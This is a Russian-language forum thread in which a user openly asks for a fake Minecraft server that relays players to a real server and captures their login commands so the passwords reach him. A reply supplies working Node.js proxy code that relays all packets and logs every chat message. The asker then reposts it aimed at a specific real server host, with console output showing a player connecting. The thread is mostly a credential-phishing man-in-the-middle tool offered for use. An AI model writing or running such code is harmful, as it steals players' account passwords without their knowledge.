Подделывание серверов

why7ss

Новичок
Автор темы
5
3
Ищу прогу, которая вроде как работает типо:
Игрок заходит на поддельный сервер
Сервер отправляет бота на другой сервер (который надо подделать)
Потом все что показывается боту, отправляется реальному игроку
И так же наоборот (например если игрок подвигается то и бот подвигается)
И когда игрок пишет команду логина, то данные отправляются мне

Помню такая схема с фантаймом была популярна, но не могу вспомнить где скачать. Буду очень благодарен за помощь.
 

tripple sixx

Активный
117
54
JavaScript:
const mc = require('minecraft-protocol')

const server = mc.createServer({
  'online-mode': false,
  port: 25565,
  version: false
})

server.on('login', (client) => {
  console.log('Игрок подключился:', client.username)

  const target = mc.createClient({
    host: 'айпи настоящего сервера',
    port: 25565,
    username: client.username
  })

  client.on('packet', (data, meta) => {
    if (target.state === mc.states.PLAY) {
      target.write(meta.name, data)
    }
  })

  target.on('packet', (data, meta) => {
    if (client.state === mc.states.PLAY) {
      client.write(meta.name, data)
    }
  })

  client.on('chat', (packet) => {
    console.log(`[CHAT] ${client.username}:`, packet.message)
  })

  target.on('chat', (packet) => {
    console.log(`[SERVER]:`, packet.message)
  })
})
может быть то что тебе нужно
 

why7ss

Новичок
Автор темы
5
3
JavaScript:
const mc = require('minecraft-protocol')

const server = mc.createServer({
  'online-mode': false,
  port: 25565,
  version: false
})

server.on('login', (client) => {
  console.log('Игрок подключился:', client.username)

  const target = mc.createClient({
    host: 'айпи настоящего сервера',
    port: 25565,
    username: client.username
  })

  client.on('packet', (data, meta) => {
    if (target.state === mc.states.PLAY) {
      target.write(meta.name, data)
    }
  })

  target.on('packet', (data, meta) => {
    if (client.state === mc.states.PLAY) {
      client.write(meta.name, data)
    }
  })

  client.on('chat', (packet) => {
    console.log(`[CHAT] ${client.username}:`, packet.message)
  })

  target.on('chat', (packet) => {
    console.log(`[SERVER]:`, packet.message)
  })
})
может быть то что тебе нужно
C:\Users\user\Downloads\tes>node script.js
Игрок подключился: uuun

1775847590496.png


Скрипт вот
kod:
const mc = require('minecraft-protocol')

const server = mc.createServer({
  'online-mode': false,
  port: 25565,
  version: false
})

server.on('login', (client) => {
  console.log('Игрок подключился:', client.username)

  const target = mc.createClient({
    host: 'ip107-161-154-161.joinserver.xyz',
    port: 25811,
    username: client.username
  })

  client.on('packet', (data, meta) => {
    if (target.state === mc.states.PLAY) {
      target.write(meta.name, data)
    }
  })

  target.on('packet', (data, meta) => {
    if (client.state === mc.states.PLAY) {
      client.write(meta.name, data)
    }
  })

  client.on('chat', (packet) => {
    console.log(`[CHAT] ${client.username}:`, packet.message)
  })

  target.on('chat', (packet) => {
    console.log(`[SERVER]:`, packet.message)
  })
})